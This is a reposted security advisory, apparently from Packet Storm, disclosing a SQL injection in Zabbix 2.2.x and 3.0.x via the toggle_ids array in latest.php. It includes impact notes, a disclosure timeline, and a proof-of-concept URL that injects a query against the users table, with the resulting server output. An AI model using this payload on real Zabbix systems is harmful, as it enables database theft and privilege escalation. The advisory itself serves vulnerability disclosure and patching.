zoukankan      html  css  js  c++  java
  • Zabbix 3.0.3 SQL Injection

    Zabbix version 3.0.3 suffers from a remote SQL injection vulnerability.

    ==========================================
    Title: Zabbix 3.0.3 SQL Injection Vulnerability
    Product: Zabbix
    Vulnerable Version(s): 2.2.x, 3.0.x
    Fixed Version: 3.0.4
    Homepage: http://www.zabbix.com 
    Patch link: https://support.zabbix.com/browse/ZBX-11023 
    Credit: 1N3@CrowdShield 
    ==========================================
     
     
    Vendor Description:
    =====================
    Zabbix is an open source availability and performance monitoring solution. 
     
     
    Vulnerability Overview:
    =====================
    Zabbix 2.2.x, 3.0.x and trunk suffers from a remote SQL injection vulnerability due to a failure to sanitize input in the toggle_ids array in the latest.php page.
     
     
    Business Impact:
    =====================
    By exploiting this SQL injection vulnerability, an authenticated attacker (or guest user) is able to gain full access to the database. This would allow an attacker to escalate their privileges to a power user, compromise the database, or execute commands on the underlying database operating system.
     
    Because of the functionalities Zabbix offers, an attacker with admin privileges (depending on the configuration) can execute arbitrary OS commands on the configured Zabbix hosts and server. This results in a severe impact to the monitored infrastructure.
     
    Although the attacker needs to be authenticated in general, the system could also be at risk if the adversary has no user account. Zabbix offers a guest mode which provides a low privileged default account for users without password. If this guest mode is enabled, the SQL injection vulnerability can be exploited unauthenticated.
     
     
    Proof of Concept:
    =====================
     
    latest.php?output=ajax&sid=&favobj=toggle&toggle_open_state=1&toggle_ids[]=15385); select * from users where (1=1
    
    Result:
    SQL (0.000361): INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (88, 1, 'web.latest.toggle', '1', 2, 15385); select * from users where (1=1)
    latest.php:746 a require_once() a CProfile::flush() a CProfile::insertDB() a DBexecute() in /home/sasha/zabbix-svn/branches/2.2/frontends/php/include/profiles.inc.php:185
    
    
    Disclosure Timeline:
    =====================
    
    7/18/2016 - Reported vulnerability to Zabbix
    7/21/2016 - Zabbix responded with permission to file CVE and to disclose after a patch is made public
    7/22/2016 - Zabbix released patch for vulnerability
    8/3/2016 - CVE details submitted
    8/11/2016 - Vulnerability details disclosed

    referer:https://packetstormsecurity.com/files/138312

  • 相关阅读:
    vim命令大全
    docer中运行crontab
    基于预加载的热区域数据的简单设计
    解析Health端点数据获取异常数据
    微服务链路调用耗时示例图
    Spring Cloud health节点通过注册中心扫描状态的简单实现
    转载:Service Mesh:重塑微服务市场--敖小剑
    Springboot统一参数验证方式
    Spirng boot 启动的时候进行监控检查不通过停止服务与自定义健康监控节点
    准备 Python3 和 Python 虚拟环境
  • 原文地址:https://www.cnblogs.com/sevck/p/5768370.html
Copyright © 2011-2022 走看看